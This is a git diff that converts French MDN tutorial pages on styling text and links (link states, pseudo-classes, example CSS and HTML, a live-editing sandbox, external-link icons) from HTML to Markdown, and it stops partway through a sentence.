Prérequis -<p>Avant de commencer ce module, vous devez déjà être familiarisé avec les bases de HTML proposées dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction à HTML</a>, et être à l'aise avec les fondamentaux de CSS étudiés dans <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction à CSS</a>.</p> +Avant de commencer ce module, vous devez déjà être familiarisé avec les bases de HTML proposées dans [Introduction à HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML), et être à l'aise avec les fondamentaux de CSS étudiés dans [Introduction à CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur/tablette/autre appereil sur lequel vous ne pouvez pas créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de codage en ligne tels que <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre appereil sur lequel vous ne pouvez pas créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de codage en ligne tels que [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<p>Ce module contient les articles suivants, qui vous éclaireront sur les méthodes essentielles de mise en forme de contenu HTML :</p> +Ce module contient les articles suivants, qui vous éclaireront sur les méthodes essentielles de mise en forme de contenu HTML : -<dl> - <dt><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></dt> - <dd>Dans cet article, nous passons en revue toutes les bases du style de texte et de police de caractères, y compris le poids de la police, la famille et le style, les raccourcis, l'alignement du texte et d'autres effets, ainsi que l'espacement des lignes et des lettres.</dd> - <dt><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de liste</a></dt> - <dd>Les listes se comportent comme la plupart des autres textes, mais il existe des propriétés CSS spécifiques aux listes que vous devez connaître, ainsi que quelques bonnes pratiques à prendre en compte. Cet article explique tout.</dd> - <dt><a href="/fr/docs/Learn/CSS/Styling_text/Styling_links">Style de lien</a></dt> - <dd>Pour définir un style de liens, il est important de comprendre comment utiliser les pseudo-classes, pour styliser efficacement les états des liens, et comment créer des liens pour les utiliser dans des fonctionnalités d'interface variées communes telles que les menus de navigation et les onglets. Nous examinerons tous ces sujets dans cet article.</dd> - <dt><a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Polices de caractères web</a></dt> - <dd>Ici, nous allons explorer les polices web en détail - celles-ci vous permettent de télécharger des polices personnalisées sur votre page web, pour vous donner des styles de texte plus variés et personnalisés.</dd> -</dl> +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) + - : Dans cet article, nous passons en revue toutes les bases du style de texte et de police de caractères, y compris le poids de la police, la famille et le style, les raccourcis, l'alignement du texte et d'autres effets, ainsi que l'espacement des lignes et des lettres. +- [Style de liste](/fr/docs/Learn/CSS/Styling_text/Styling_lists) + - : Les listes se comportent comme la plupart des autres textes, mais il existe des propriétés CSS spécifiques aux listes que vous devez connaître, ainsi que quelques bonnes pratiques à prendre en compte. Cet article explique tout. +- [Style de lien](/fr/docs/Learn/CSS/Styling_text/Styling_links) + - : Pour définir un style de liens, il est important de comprendre comment utiliser les pseudo-classes, pour styliser efficacement les états des liens, et comment créer des liens pour les utiliser dans des fonctionnalités d'interface variées communes telles que les menus de navigation et les onglets. Nous examinerons tous ces sujets dans cet article. +- [Polices de caractères web](/fr/docs/Learn/CSS/Styling_text/Web_fonts) + - : Ici, nous allons explorer les polices web en détail - celles-ci vous permettent de télécharger des polices personnalisées sur votre page web, pour vous donner des styles de texte plus variés et personnalisés. -<h2 id="Auto-évaluation">Auto-évaluation</h2> +## Auto-évaluation -<p>Les auto-évaluations suivantes testeront votre compréhension des techniques de style de texte abordées dans les guides ci-dessus.</p> +Les auto-évaluations suivantes testeront votre compréhension des techniques de style de texte abordées dans les guides ci-dessus. -<dl> - <dt><a href="/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Composition d'une page d'accueil d'une école communale</a></dt> - <dd>Dans cette auto-évaluation, nous testerons votre compréhension du style de texte en vous amenant à créer le style du texte de la page d'accueil d'une école communale.</dd> -</dl> +- [Composition d'une page d'accueil d'une école communale](/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage) + - : Dans cette auto-évaluation, nous testerons votre compréhension du style de texte en vous amenant à créer le style du texte de la page d'accueil d'une école communale. diff --git a/files/fr/learn/css/styling_text/styling_links/index.md b/files/fr/learn/css/styling_text/styling_links/index.md index 7e88a2f941..ef8b665cb7 100644 --- a/files/fr/learn/css/styling_text/styling_links/index.md +++ b/files/fr/learn/css/styling_text/styling_links/index.md @@ -17,96 +17,120 @@ tags: translation_of: Learn/CSS/Styling_text/Styling_links original_slug: Learn/CSS/Styling_text/Mise_en_forme_des_liens --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> - -<p>Lors de la mise en forme de <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks">liens</a>, il est important de comprendre comment utiliser les pseudo-classes pour mettre en forme efficacement les états des liens, et comment créer des liens pour les utiliser dans diverses fonctionnalités d'interface courantes, telles que les menus de navigation et les onglets. Nous allons examiner tous ces sujets dans cet article.</p> +Lors de la mise en forme de [liens](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks), il est important de comprendre comment utiliser les pseudo-classes pour mettre en forme efficacement les états des liens, et comment créer des liens pour les utiliser dans diverses fonctionnalités d'interface courantes, telles que les menus de navigation et les onglets. Nous allons examiner tous ces sujets dans cet article. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>notions de base en informatique, notions de base en HTML (étudier l'<a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML)</a>, notions de base en CSS (étudier l'<a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction à CSS</a>), <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">initiation à la mise en forme de texte</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>apprendre à mettre en forme les états des liens, et comment utiliser efficacement les liens dans les fonctionnalités courantes de l'IU, comme les menus de navigation.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + notions de base en informatique, notions de base en HTML (étudier l'<a + href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML)</a + >, notions de base en CSS (étudier l'<a + href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS" + >Introduction à CSS</a + >), + <a + href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte" + >initiation à la mise en forme de texte</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + apprendre à mettre en forme les états des liens, et comment utiliser + efficacement les liens dans les fonctionnalités courantes de l'IU, comme + les menus de navigation. + </td> + </tr> + </tbody> </table> -<h2 id="Un_coup_dœil_à_quelques_liens">Un coup d'œil à quelques liens</h2> +## Un coup d'œil à quelques liens -<p>Nous avons regardé comment les liens sont implémentés dans votre HTML selon les meilleures pratiques dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks">Création d'hyperliens</a>. Dans cet article, nous allons développer ces connaissances en vous montrant les meilleures pratiques pour la mise en forme de liens.</p> +Nous avons regardé comment les liens sont implémentés dans votre HTML selon les meilleures pratiques dans [Création d'hyperliens](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks). Dans cet article, nous allons développer ces connaissances en vous montrant les meilleures pratiques pour la mise en forme de liens. -<h3 id="État_des_liens">État des liens</h3> +### État des liens -<p>La première chose à comprendre est le concept d'états des liens : les différents états dans lesquels les liens peuvent exister, qui peuvent être mis en forme en utilisant différentes <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs">pseudo-classes</a> :</p> +La première chose à comprendre est le concept d'états des liens : les différents états dans lesquels les liens peuvent exister, qui peuvent être mis en forme en utilisant différentes [pseudo-classes](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs) : -<ul> - <li><strong>link (non visité)</strong> : l'état par défaut dans lequel se trouve un lien, lorsqu'il n'est dans aucun autre état ; cela peut être spécifiquement mis en forme en utilisant la pseudo classe {{cssxref(":link")}} ;</li> - <li><strong>visited :</strong> un lien qui a déjà été visité (qui existe dans l'historique du navigateur), mis en forme en utilisant la pseudo-classe {{cssxref(":visited")}} ;</li> - <li><strong>hover :</strong> un lien qui est survolé par le pointeur de la souris de l'utilisateur, mis en forme en utilisant la pseudo classe {{cssxref(":hover")}} ;</li> - <li><strong>focus :</strong> un lien qui a reçu la focalisation (par exemple, quand l'utilisateur du clavier s'est déplacé en utilisant la touche <kbd>Tab</kbd> ou similaire, ou qui a reçu la focalisation par programmation par utilisation de {{domxref("HTMLElement.focus()")}}) ; ceci est mis en forme en utilisant la pseudo-classe {{cssxref(":focus")}} ;</li> - <li><strong>active :</strong> un lien en cours d'activation (par exemple, lorsqu'on clique dessus), mis en forme en utilisant la pseudo classe {{cssxref (":active")}}.</li> -</ul> +- **link (non visité)** : l'état par défaut dans lequel se trouve un lien, lorsqu'il n'est dans aucun autre état ; cela peut être spécifiquement mis en forme en utilisant la pseudo classe {{cssxref(":link")}} ; +- **visited :** un lien qui a déjà été visité (qui existe dans l'historique du navigateur), mis en forme en utilisant la pseudo-classe {{cssxref(":visited")}} ; +- **hover :** un lien qui est survolé par le pointeur de la souris de l'utilisateur, mis en forme en utilisant la pseudo classe {{cssxref(":hover")}} ; +- **focus :** un lien qui a reçu la focalisation (par exemple, quand l'utilisateur du clavier s'est déplacé en utilisant la touche + + <kbd>Tab</kbd> + + ou similaire, ou qui a reçu la focalisation par programmation par utilisation de {{domxref("HTMLElement.focus()")}}) ; ceci est mis en forme en utilisant la pseudo-classe {{cssxref(":focus")}} ; + +- **active :** un lien en cours d'activation (par exemple, lorsqu'on clique dessus), mis en forme en utilisant la pseudo classe {{cssxref (":active")}}. -<h3 id="Styles_par_défaut">Styles par défaut</h3> +### Styles par défaut -<p>L'exemple suivant illustre le comportement d'un lien par défaut (le CSS simplement agrandit et centre le texte pour le rendre plus visible).</p> +L'exemple suivant illustre le comportement d'un lien par défaut (le CSS simplement agrandit et centre le texte pour le rendre plus visible). -<pre class="brush: html"><p><a href="#">Un simple lien</a></p> -</pre> +```html +<p><a href="#">Un simple lien</a></p> +``` -<pre class="brush: css">p { +```css +p { font-size: 2rem; text-align: center; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Styles_par_défaut', '100%', 120) }}</p> +{{ EmbedLiveSample('Styles_par_défaut', '100%', 120) }} -<div class="note"> -<p><strong>Note :</strong> tous les liens dans les exemples de cette page sont de faux liens : un # (hash, ou signe dièse) est mis à la place de l'URL réelle. En effet, si des liens réels étaient inclus, un simple clic sur ceux-ci cassererait les exemples (vous vous retrouveriez avec une erreur, ou une page chargée dans l'exemple intégré de laquelle vous ne pourriez pas revenir) ; # ne redirige que vers la page actuelle.</p> -</div> +> **Note :** tous les liens dans les exemples de cette page sont de faux liens : un # (hash, ou signe dièse) est mis à la place de l'URL réelle. En effet, si des liens réels étaient inclus, un simple clic sur ceux-ci cassererait les exemples (vous vous retrouveriez avec une erreur, ou une page chargée dans l'exemple intégré de laquelle vous ne pourriez pas revenir) ; # ne redirige que vers la page actuelle. -<p>Vous remarquerez quelques petites choses en explorant les styles par défaut :</p> +Vous remarquerez quelques petites choses en explorant les styles par défaut : -<ul> - <li>les liens sont soulignés ;</li> - <li>les liens non visités sont bleus ;</li> - <li>les liens visités sont en violet ;</li> - <li>le survol d'un lien fait se changer en petite icône de main le pointeur de la souris ;</li> - <li>les liens ayant reçus la focalisation ont un contour autour d'eux : vous devriez pouvoir vous focaliser sur les liens de cette page avec le clavier en appuyant sur la touche <kbd>Tab</kbd> (sur Mac, il se peut que vous ayez besoin d'activer l'option <em>Accès clavier complet : Toutes les commandes</em> en appuyant sur <kbd>Ctrl</kbd> + <kbd>F7</kbd> pour que cela fonctionne) ;</li> - <li>les liens actifs sont rouges (essayez de maintenir le bouton de la souris enfoncé sur le lien lorsque vous cliquez dessus).</li> -</ul> +- les liens sont soulignés ; +- les liens non visités sont bleus ; +- les liens visités sont en violet ; +- le survol d'un lien fait se changer en petite icône de main le pointeur de la souris ; +- les liens ayant reçus la focalisation ont un contour autour d'eux : vous devriez pouvoir vous focaliser sur les liens de cette page avec le clavier en appuyant sur la touche -<p>De façon assez intéressante, ces styles par défaut sont pratiquement les mêmes que ce qu'ils étaient aux premiers temps des navigateurs, au milieu des années 1990. C'est parce que les utilisateurs connaissent - et s'attendent à - ce comportement ; si les liens étaient mis en forme différemment, cela créerait beaucoup de confusion. Cela ne signifie pas que vous ne deviez pas du tout mettre en forme les liens, mais simplement que vous ne devriez pas vous éloigner trop du comportement attendu. Vous devriez au moins :</p> + <kbd>Tab</kbd> -<ul> - <li>utiliser le soulignement pour les liens, mais pas pour d'autres choses ; si vous ne voulez pas souligner les liens, au moins les mettre en évidence d'une autre manière ;</li> - <li>les faire réagir d'une manière ou d'une autre lorsqu'ils sont survolés ou lorsqu'ils ont reçu la focalisation, et d'une manière légèrement différente lorsqu'ils sont activés.</li> -</ul> + (sur Mac, il se peut que vous ayez besoin d'activer l'option _Accès clavier complet : Toutes les commandes_ en appuyant sur -<p>Les styles par défaut peuvent être désactivés/modifiés en utilisant les propriétés CSS suivantes :</p> + <kbd>Ctrl</kbd> -<ul> - <li>{{cssxref ("color")}} pour la couleur du texte ;</li> - <li>{{cssxref ("cursor")}} pour le style du pointeur de la souris - vous ne devriez pas le désactiver, à moins d'avoir une très bonne raison ;</li> - <li>{{cssxref ("outline")}} pour le contour du texte (un contour est similaire à une bordure, la seule différence étant que la bordure occupe de l'espace dans la boîte et non un contour, elle se trouve juste au-dessus du Contexte) ; le contour est une aide utile à l'accessibilité, alors réfléchissez bien avant de la désactiver ; vous devriez au moins dupliquer aussi les styles affectés à l'état link hover sur l'état de focalisation.</li> -</ul> + \+ -<div class="note"> -<p><strong>Note :</strong> vous n'êtes pas limité aux propriétés ci-dessus pour mettre en forme vos liens ; vous êtes libre d'utiliser les propriétés que vous aimez. Essayez seulement de ne pas devenir trop fou !</p> -</div> + <kbd>F7</kbd> + + pour que cela fonctionne) ; + +- les liens actifs sont rouges (essayez de maintenir le bouton de la souris enfoncé sur le lien lorsque vous cliquez dessus). + +De façon assez intéressante, ces styles par défaut sont pratiquement les mêmes que ce qu'ils étaient aux premiers temps des navigateurs, au milieu des années 1990. C'est parce que les utilisateurs connaissent - et s'attendent à - ce comportement ; si les liens étaient mis en forme différemment, cela créerait beaucoup de confusion. Cela ne signifie pas que vous ne deviez pas du tout mettre en forme les liens, mais simplement que vous ne devriez pas vous éloigner trop du comportement attendu. Vous devriez au moins : + +- utiliser le soulignement pour les liens, mais pas pour d'autres choses ; si vous ne voulez pas souligner les liens, au moins les mettre en évidence d'une autre manière ; +- les faire réagir d'une manière ou d'une autre lorsqu'ils sont survolés ou lorsqu'ils ont reçu la focalisation, et d'une manière légèrement différente lorsqu'ils sont activés. + +Les styles par défaut peuvent être désactivés/modifiés en utilisant les propriétés CSS suivantes : -<h3 id="Mise_en_forme_de_quelques_liens">Mise en forme de quelques liens</h3> +- {{cssxref ("color")}} pour la couleur du texte ; +- {{cssxref ("cursor")}} pour le style du pointeur de la souris - vous ne devriez pas le désactiver, à moins d'avoir une très bonne raison ; +- {{cssxref ("outline")}} pour le contour du texte (un contour est similaire à une bordure, la seule différence étant que la bordure occupe de l'espace dans la boîte et non un contour, elle se trouve juste au-dessus du Contexte) ; le contour est une aide utile à l'accessibilité, alors réfléchissez bien avant de la désactiver ; vous devriez au moins dupliquer aussi les styles affectés à l'état link hover sur l'état de focalisation. -<p>Maintenant que nous avons examiné les états par défaut en détail, regardons un ensemble typique de mises en forme de liens.</p> +> **Note :** vous n'êtes pas limité aux propriétés ci-dessus pour mettre en forme vos liens ; vous êtes libre d'utiliser les propriétés que vous aimez. Essayez seulement de ne pas devenir trop fou ! -<p>Pour commencer, nous écrirons notre jeu de règles vides :</p> +### Mise en forme de quelques liens -<pre class="brush: css">a { +Maintenant que nous avons examiné les états par défaut en détail, regardons un ensemble typique de mises en forme de liens. + +Pour commencer, nous écrirons notre jeu de règles vides : + +```css +a { } @@ -129,13 +153,15 @@ a:hover { a:active { -}</pre> +} +``` -<p>Cet ordre est important parce que les styles de liens se construisent les uns par dessus les autres ; par exemple, les styles de la première règle s'appliqueront à toutes les suivantes, et lorsqu'un lien est activé, il est également survolé. Si vous les mettez dans le mauvais ordre, les choses ne fonctionneront pas correctement. Pour se souvenir de l'ordre, vous pouvez essayer d'utiliser un moyen mnémotechnique comme La Vie Fuit la HAine (LoVe Fears HAte).</p> +Cet ordre est important parce que les styles de liens se construisent les uns par dessus les autres ; par exemple, les styles de la première règle s'appliqueront à toutes les suivantes, et lorsqu'un lien est activé, il est également survolé. Si vous les mettez dans le mauvais ordre, les choses ne fonctionneront pas correctement. Pour se souvenir de l'ordre, vous pouvez essayer d'utiliser un moyen mnémotechnique comme La Vie Fuit la HAine (LoVe Fears HAte). -<p>Maintenant, ajoutons quelques informations supplémentaires pour mettre en forme cela correctement :</p> +Maintenant, ajoutons quelques informations supplémentaires pour mettre en forme cela correctement : -<pre class="brush: css">body { +```css +body { width: 300px; margin: 0 auto; font-size: 1.2rem; @@ -173,47 +199,48 @@ a:hover { a:active { background: #265301; color: #CDFEAA; -}</pre> +} +``` -<p>Nous allons aussi fournir un extrait d'HTML auquel appliquer le CSS :</p> +Nous allons aussi fournir un extrait d'HTML auquel appliquer le CSS : -<pre class="brush: html"><p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla -Firefox</a>, <a href="#">Google Chrome</a>, et -<a href="#">Microsoft Edge</a>.</p></pre> +```html +<p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla +Firefox</a>, <a href="#">Google Chrome</a>, et +<a href="#">Microsoft Edge</a>.</p> +``` -<p>En mettant les deux ensemble, nous obtenons ce résultat :</p> +En mettant les deux ensemble, nous obtenons ce résultat : -<p>{{EmbedLiveSample('Mise_en_forme_de_quelques_liens', '100%', 150)}}</p> +{{EmbedLiveSample('Mise_en_forme_de_quelques_liens', '100%', 150)}} -<p>Alors qu'avons-nous fait ici ? Cela semble certainement différent de la mise en forme par défaut, mais cela donne toujours une expérience suffisamment familière pour que les utilisateurs sachent ce qui se passe :</p> +Alors qu'avons-nous fait ici ? Cela semble certainement différent de la mise en forme par défaut, mais cela donne toujours une expérience suffisamment familière pour que les utilisateurs sachent ce qui se passe : -<ul> - <li>les deux premières règles ne sont pas très intéressantes pour cette discussion ;</li> - <li>la troisième règle utilise le sélecteur <code>a</code> pour se débarasser du soulignement de texte par défaut et du contour de focalisation (qui varie d'un navigateur à l'autre), et elle ajoute une petite quantité de remplissage à chaque lien ; tout ceci deviendra clair plus tard ;</li> - <li>ensuite, nous utilisons les sélecteurs <code>a:link</code> et <code>a:visited</code> pour définir deux variations de couleur sur les liens non visités et visités, afin qu'ils soient distincts ;</li> - <li>les deux règles suivantes utilisent <code>a:focus</code> et <code>a:hover</code> pour faire que les liens centrés et survolés aient des couleurs d'arrière-plan différentes, plus un soulignement afin que le lien se démarque encore davantage ; deux points à noter ici : - <ul> - <li>le soulignement a été créé en utilisant {{cssxref("border-bottom")}}, pas {{cssxref("text-decoration")}} ; certaines personnes préfèrent cela parce que le premier a de meilleures options de mise en forme que le second, et qu'il est tracé un peu plus bas, de sorte qu'il ne coupe pas les jambages du mot souligné (par exemple, les jambes du g et du y) ;</li> - <li>la valeur {{cssxref("border-bottom")}} a été définie comme <code>1px solid</code>, sans couleur indiquée ; cela fait que la bordure adopte la même couleur que le texte de l'élément, ce qui est utile dans des cas comme celui-ci, où le texte a une couleur différente dans chaque cas ;</li> - </ul> - </li> - <li>enfin, <code>a:active</code> est utilisé pour donner aux liens un schéma de couleurs inversé pendant qu'ils sont activés, afin de faire comprendre que quelque chose d'important est en train de se passer !</li> -</ul> +- les deux premières règles ne sont pas très intéressantes pour cette discussion ; +- la troisième règle utilise le sélecteur `a` pour se débarasser du soulignement de texte par défaut et du contour de focalisation (qui varie d'un navigateur à l'autre), et elle ajoute une petite quantité de remplissage à chaque lien ; tout ceci deviendra clair plus tard ; +- ensuite, nous utilisons les sélecteurs `a:link` et `a:visited` pour définir deux variations de couleur sur les liens non visités et visités, afin qu'ils soient distincts ; +- les deux règles suivantes utilisent `a:focus` et `a:hover` pour faire que les liens centrés et survolés aient des couleurs d'arrière-plan différentes, plus un soulignement afin que le lien se démarque encore davantage ; deux points à noter ici : + + - le soulignement a été créé en utilisant {{cssxref("border-bottom")}}, pas {{cssxref("text-decoration")}} ; certaines personnes préfèrent cela parce que le premier a de meilleures options de mise en forme que le second, et qu'il est tracé un peu plus bas, de sorte qu'il ne coupe pas les jambages du mot souligné (par exemple, les jambes du g et du y) ; + - la valeur {{cssxref("border-bottom")}} a été définie comme `1px solid`, sans couleur indiquée ; cela fait que la bordure adopte la même couleur que le texte de l'élément, ce qui est utile dans des cas comme celui-ci, où le texte a une couleur différente dans chaque cas ; + +- enfin, `a:active` est utilisé pour donner aux liens un schéma de couleurs inversé pendant qu'ils sont activés, afin de faire comprendre que quelque chose d'important est en train de se passer ! -<h3 id="Apprentissage_actif_mettez_en_forme_vos_propres_liens">Apprentissage actif : mettez en forme vos propres liens</h3> +### Apprentissage actif : mettez en forme vos propres liens -<p>Dans cette session d'apprentissage actif, nous aimerions que vous utilisiez notre ensemble de règles vide, et que vous ajoutiez vos propres déclarations pour que les liens soient vraiment cools. Utilisez votre imagination, soyez fou. Nous sommes sûrs que vous pourrez trouver quelque chose d'encore plus cool et tout aussi fonctionnel que notre exemple ci-dessus.</p> +Dans cette session d'apprentissage actif, nous aimerions que vous utilisiez notre ensemble de règles vide, et que vous ajoutiez vos propres déclarations pour que les liens soient vraiment cools. Utilisez votre imagination, soyez fou. Nous sommes sûrs que vous pourrez trouver quelque chose d'encore plus cool et tout aussi fonctionnel que notre exemple ci-dessus. -<p>Si vous faites une erreur, vous pouvez toujours l'annuler en utilisant le bouton <em>Réinitialiser</em>. Si vous êtes vraiment bloqué, appuyez sur le bouton <em>Afficher la solution</em> pour insérer l'exemple que nous avons montré ci-dessus.</p> +Si vous faites une erreur, vous pouvez toujours l'annuler en utilisant le bouton _Réinitialiser_. Si vous êtes vraiment bloqué, appuyez sur le bouton _Afficher la solution_ pour insérer l'exemple que nous avons montré ci-dessus. -<pre class="brush: html hidden"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>Zone de saisie HTML</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla - Firefox</a>, <a href="#">Google Chrome</a>, et -<a href="#">Microsoft Edge</a>.</p></textarea> +```html hidden +<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>Zone de saisie HTML</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla + Firefox</a>, <a href="#">Google Chrome</a>, et +<a href="#">Microsoft Edge</a>.</p></textarea> - <h2>Zone de saisie de la CSS</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">a { + <h2>Zone de saisie de la CSS</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">a { } @@ -235,18 +262,19 @@ a:hover { a:active { -}</textarea> +}</textarea> - <h2>Zone de rendu</h2> - <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> - <div class="controls"> - <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> - <input id="solution" type="button" value="Voir la solution" style="margin: 10px 0 0 10px;"> - </div> -</div> -</pre> + <h2>Zone de rendu</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Voir la solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +``` -<pre class="brush: js hidden">var htmlInput = document.querySelector(".html-input"); +```js hidden +var htmlInput = document.querySelector(".html-input"); var cssInput = document.querySelector(".css-input"); var reset = document.getElementById("reset"); var htmlCode = htmlInput.value; @@ -278,22 +306,25 @@ solution.addEventListener("click", function() { htmlInput.addEventListener("input", drawOutput); cssInput.addEventListener("input", drawOutput); window.addEventListener("load", drawOutput); -</pre> +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_mettez_en_forme_vos_propres_liens', 700, 800) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_mettez_en_forme_vos_propres_liens', 700, 800) }} -<h2 id="Inclusion_dicônes_dans_des_liens">Inclusion d'icônes dans des liens</h2> +## Inclusion d'icônes dans des liens -<p>Une pratique courante consiste à inclure des icônes dans des liens pour fournir plus d'un indicateur concernant le type de contenu vers lequel le lien pointe. Regardons un exemple très simple qui ajoute une icône à des liens externes (les liens qui mènent à d'autres sites). Une telle icône ressemble généralement à une petite flèche pointant hors d'une boîte ; pour cet exemple, nous allons utiliser cet excellent exemple de icons8.com.</p> +Une pratique courante consiste à inclure des icônes dans des liens pour fournir plus d'un indicateur concernant le type de contenu vers lequel le lien pointe. Regardons un exemple très simple qui ajoute une icône à des liens externes (les liens qui mènent à d'autres sites). Une telle icône ressemble généralement à une petite flèche pointant hors d'une boîte ; pour cet exemple, nous allons utiliser cet excellent exemple de icons8.com. -<p>Regardons un peu d'HTML et de CSS qui nous donneront l'effet que nous voulons. Tout d'abord, un peu d'HTML simple à mettre en forme :</p> +Regardons un peu d'HTML et de CSS qui nous donneront l'effet que nous voulons. Tout d'abord, un peu d'HTML simple à mettre en forme : -<pre class="brush: html"><p>Pour davantage d'information sur la météo, visitez notre <a href="http://#">page météo</a>, -jetez un œil sur <a href="http://#">météo sur Wikipedia</a>, ou regardez la <a href="http://#">météo sur Science Extrême </a>.</p></pre> +```html +<p>Pour davantage d'information sur la météo, visitez notre <a href="http://#">page météo</a>, +jetez un œil sur <a href="http://#">météo sur Wikipedia</a>, ou regardez la <a href="http://#">météo sur Science Extrême </a>.</p> +``` -<p>Ensuite, le CSS:</p> +Ensuite, le CSS: -<pre class="brush: css">body { +```css +body { width: 300px; margin: 0 auto; font-family: sans-serif; @@ -329,39 +360,41 @@ a[href*="http"] { background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; background-size: 16px 16px; padding-right: 19px; -}</pre> +} +``` -<p>{{ EmbedLiveSample("Inclusion_d'icônes_dans_des_liens", '100%', 150) }}</p> +{{ EmbedLiveSample("Inclusion_d'icônes_dans_des_liens", '100%', 150) }} -<p>Alors, qu'est-ce qui se passe ici ? Nous allons sauter le gros du CSS, du fait que c'est seulement la même information que celle que vous avez déjà regardée. La dernière règle est cependant intéressante : ici, nous insérons une image d'arrière-plan personnalisée sur les liens externes d'une manière similaire à celle dont nous avons traité les puces personnalisées sur les éléments de liste dans le dernier article ; cette fois, nous utilisons le raccourci {{cssxref("background")}} au lieu des propriétés individuelles. Nous définissons le chemin vers l'image que nous voulons insérer, nous spécifions <code>no-repeat</code> de façon à obtenir l'insertion d'une seule une copie, puis nous indiquons la position comme étant 100% de la distance à droite du contenu du texte, et 0 pixels à partir du haut.</p> +Alors, qu'est-ce qui se passe ici ? Nous allons sauter le gros du CSS, du fait que c'est seulement la même information que celle que vous avez déjà regardée. La dernière règle est cependant intéressante : ici, nous insérons une image d'arrière-plan personnalisée sur les liens externes d'une manière similaire à celle dont nous avons traité les puces personnalisées sur les éléments de liste dans le dernier article ; cette fois, nous utilisons le raccourci {{cssxref("background")}} au lieu des propriétés individuelles. Nous définissons le chemin vers l'image que nous voulons insérer, nous spécifions `no-repeat` de façon à obtenir l'insertion d'une seule une copie, puis nous indiquons la position comme étant 100% de la distance à droite du contenu du texte, et 0 pixels à partir du haut. -<p>Nous utilisons également {{cssxref("background-size")}} pour indiquer à quelle taille nous voulons afficher l'image d'arrière-plan - il est utile d'avoir une icône plus grande et de la redimensionner comme nécessaire dans un but de conception web adaptative. Cela ne fonctionne cependant qu'avec IE 9 et ultérieur, donc si vous avez besoin de prendre en charge ces navigateurs plus anciens, il vous suffira de redimensionner l'image et de l'insérer telle quelle.</p> +Nous utilisons également {{cssxref("background-size")}} pour indiquer à quelle taille nous voulons afficher l'image d'arrière-plan - il est utile d'avoir une icône plus grande et de la redimensionner comme nécessaire dans un but de conception web adaptative. Cela ne fonctionne cependant qu'avec IE 9 et ultérieur, donc si vous avez besoin de prendre en charge ces navigateurs plus anciens, il vous suffira de redimensionner l'image et de l'insérer telle quelle. -<p>Enfin, nous avons mis un peu de {{cssxref("padding-right")}} sur les liens pour faire de la place afin que l'image d'arrière-plan se place à l'intérieur, de sorte que nous ne la faisions chevaucher le 